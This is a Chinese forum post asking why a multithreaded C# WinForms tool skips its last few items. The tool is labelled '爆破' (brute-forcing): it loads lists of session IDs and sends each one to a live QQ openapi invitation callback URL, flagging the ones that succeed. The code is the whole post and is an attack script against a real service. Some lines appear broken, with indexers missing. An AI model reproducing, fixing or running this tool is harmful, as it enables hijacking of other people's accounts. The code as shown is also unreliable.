|
委托、BackgroundWorker 都用了、但是最后几个总会漏掉。
求解决,代码如下:
[code=csharp]using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Threading;
using System.Diagnostics;
namespace 爆破
{
public partial class Form1 : Form
{
int counting = 0,listJs=0,file=0;
object obj=new object ();
List<string> list = new List<string>();
List <BackgroundWorker >dw=new List<BackgroundWorker>() ;
bool Run = true;
public Form1()
{
InitializeComponent();
}
private void 导入SidToolStripMenuItem_Click(object sender, EventArgs e)
{
OpenFileDialog fileDialog = new OpenFileDialog();
fileDialog.Multiselect = true;
fileDialog.Title = "请选择文件";
fileDialog.Filter = "文本文件(*.txt)|*.txt";
this.listView1.BeginUpdate();
if (fileDialog.ShowDialog() == DialogResult.OK)
{
string file = fileDialog.FileName;
using (FileStream fs = new FileStream(file, FileMode.Open, FileAccess.Read))
{
using (StreamReader sr = new StreamReader(fs, Encoding.GetEncoding("gb2312")))
{
string line;
while ((line = sr.ReadLine()) != null)
{
ListViewItem item = new ListViewItem(new string[] { line, "" });
listView1.Items.Add(item);
list.Add(line);
}
}
}
this.listView1.EndUpdate();
toolStripStatusLabel2.Text = "一共导入" + listView1.Items.Count.ToString() + "个Sid...";
}
}
private void 清空列表ToolStripMenuItem_Click(object sender, EventArgs e)
{
this.listView1.Items.Clear();
}
private void 开始爆破ToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.Items.Count <= 0) MessageBox.Show("对不起,请先导入Sid!", "提示:", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
else
{
listJs = this.listView1.Items.Count;
for (int i=0;i<10;i++)
{
dw . Add(new BackgroundWorker ());
dw.WorkerReportsProgress = true;//声明异步执行的时候可以报告进度
dw.WorkerSupportsCancellation = true;//声明可以异步取消
dw.DoWork += new DoWorkEventHandler(this.dw_DoWork);
dw.ProgressChanged += new ProgressChangedEventHandler(this.dw_ProgressChanged);
dw.RunWorkerAsync();
//Thread.Sleep(100);
}
}
}
private void 停止运行ToolStripMenuItem_Click(object sender, EventArgs e)
{
Run = false;
}
private void dw_DoWork(object sender, DoWorkEventArgs e)
{
int SidFZ = 0;
string Sid, zt;
while (Run)
{
lock (obj)
{
if (counting >= listJs) break;
SidFZ = counting;
Sid = list[SidFZ];
counting++;
Debug.Print(SidFZ.ToString());
this.BeginInvoke(new MethodInvoker(delegate() { this.listView1.EnsureVisible(SidFZ); }));
}
if (baopo(Sid))
{
zt = "爆破成功";
file++;//
}
else zt = "失败";
try
{
dw[0].ReportProgress(SidFZ, zt);
Debug.Print(zt);
}
catch (Exception q)
{ Debug.Print(q.Message.ToString()); }
}
}
private void dw_ProgressChanged(object sender, ProgressChangedEventArgs e)
{
string zt = e.UserState.ToString();
int i = e.ProgressPercentage;
this.listView1.Items.SubItems[1].Text = zt;
}
private bool baopo(string Sid)
{
string setText = HttpHelper.Get("http://openapi.3g.qq.com/invitation/callback?cid=1000&appId=900000546&it=1&sid=" + Sid + "&cid=navigation");
return inStr(setText);
}
private static bool inStr(string txt)
{
int i = txt.IndexOf("正在跳转,请稍候...");
if (i != -1) return true;
else return false;
}
}
}
[/code]
|
|